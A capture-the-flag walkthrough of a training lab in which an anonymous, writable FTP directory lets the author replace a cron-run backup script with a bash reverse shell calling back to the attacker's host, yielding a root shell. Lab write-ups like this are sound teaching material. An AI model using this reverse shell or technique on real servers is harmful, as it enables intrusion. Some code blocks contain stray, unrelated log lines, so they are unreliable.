

# Day 9 - Anyone can be Santa!

## Scenario

Day 9: Anyone can be Santa - Prelude:

Even Santa has been having to adopt the "work from home" ethic in 2020. To help Santa out, Elf McSkidy and their team created a file server for The Best Festival Company (TBFC) that uses the FTP protocol. However, an attacker was able to hack this new server. Your mission, should you choose to accept it, is to understand how this hack occurred and to retrace the steps of the attacker.

### 9.1. Getting Started

let's perform nmap port scanning & we found 2 ports opening

```
view  Help
[nobodyatall@0xDEADBEEF]~[~/tryhackme]
$ sudo nmap -sS 10.10.115.211
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 16:09 EST
Nmap scan report for 10.10.115.211
Host is up (0.21s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds
```

checking FTP port see we can login anonymously or not & we can!

```
et_iface_mtu_set: mtu 1500 for tun0
[nobodyatall@0xDEADBEEF]~[~/tryhackme]
$ ftp 10.10.115.211
Connected to 10.10.115.211.
220 Welcome to the TBFC FTP Server!.
Name (10.10.115.211:nobodyatall): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

found few directories in FTP, the only directory we can access & write as anonymous are the public directory

```

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  6 65534 65534 4096 Nov 16 15:06 .
drwxr-xr-x  6 65534 65534 4096 Nov 16 15:06 ..
drwxr-xr-x  2 0 0 4096 Nov 16 15:04 backups
drwxr-xr-x  2 0 0 4096 Nov 16 15:05 elf_workshops
drwxr-xr-x  2 0 0 4096 Nov 16 15:04 human_resources
drwxrwxrwx  2 65534 65534 4096 Nov 16 19:35 public
226 Directory send OK. 2/255,255,255,0 IFACE=eth0 HWADDR=
ftp>

```

Question: Name the directory on the FTP server that has data accessible by the "anonymous" user -public

found 2 files, backup.sh & shoppinglist.txt

```

226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx  2 65534 65534 4096 Nov 16 19:35 .
drwxr-xr-x  6 65534 65534 4096 Nov 16 15:06 ..
-rwxr-xr-x  1 111 113 341 Nov 16 19:34 backup.sh
-rw-rw-rw-  1 111 113 24 Nov 16 19:35 shoppinglist.txt
226 Directory send OK.
ftp>

```

let's download it to our host the files

backup.sh content, it seems that this backup.sh script will be executed automatically(cronjob?) to backup the content in this ftp directory into elfmceager home directory

```

ftp> !cat backup.sh
#!/bin/bash
# Created by ElfMcEager to backup all of Santa's goodies!
net_iface_mtu_set: mtu 1500 for tun0
# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";
net_route_v4_add: 10.10.0.0/16 via 10.8.0.1 dev [NULL] table
# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp in memory --
option to prevent this
# TO-DO: Automate transfer of backups to backup server

ftp>

```

Question: What script gets executed within this directory?

-backup.sh

Question: What movie did Santa have on his Christmas shopping list?

```
ftp> !cat shoppinglist.txt  
The Polar Express Movie  
ftp>
```

let's write our reverse shell & upload our reverse shell script into this public directory

trun.spk x trun\_exploit.py x backup.sh

```
#!/bin/bash  
bash -i >& /dev/tcp/10.8.20.97/18890 0>&1
```

upload it to the public directory

```
220 Directory send OK.  
ftp> put backup.sh  
local: backup.sh remote: backup.sh  
200 PORT command successful. Consider using PASV.  
150 Ok to send data.  
226 Transfer complete.  
54 bytes sent in 0.00 secs (722.3887 kB/s)  
ftp>
```

& voila we just gotten our initial foothold & it's root user!

```
(nobodyatall@0xDEADBEEF)-[~/tryhackme]  
$ nc -lvp 18890  
listening on [any] 18890 ...  
10.10.115.211: inverse host lookup failed: Unknown host  
connect to [10.8.20.97] from (UNKNOWN) [10.10.115.211] 40072  
bash: cannot set terminal process group (1302): Inappropriate ioctl for device  
bash: no job control in this shell  
root@tbfc-ftp-01:~#
```

& we've found the root flag

```
ls -la  
total 28  
drwx----- 4 root root 4096 Nov 16 15:15 .  
drwxr-xr-x 24 root root 4096 Nov 16 14:07 ..  
lrwxrwxrwx 1 root root 9 Nov 16 15:15 .bash_history → /dev/null  
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc  
-rw-r--r-- 1 root root 27 Nov 16 15:04 flag.txt  
drwxr-xr-x 3 root root 4096 Nov 16 13:57 local
```

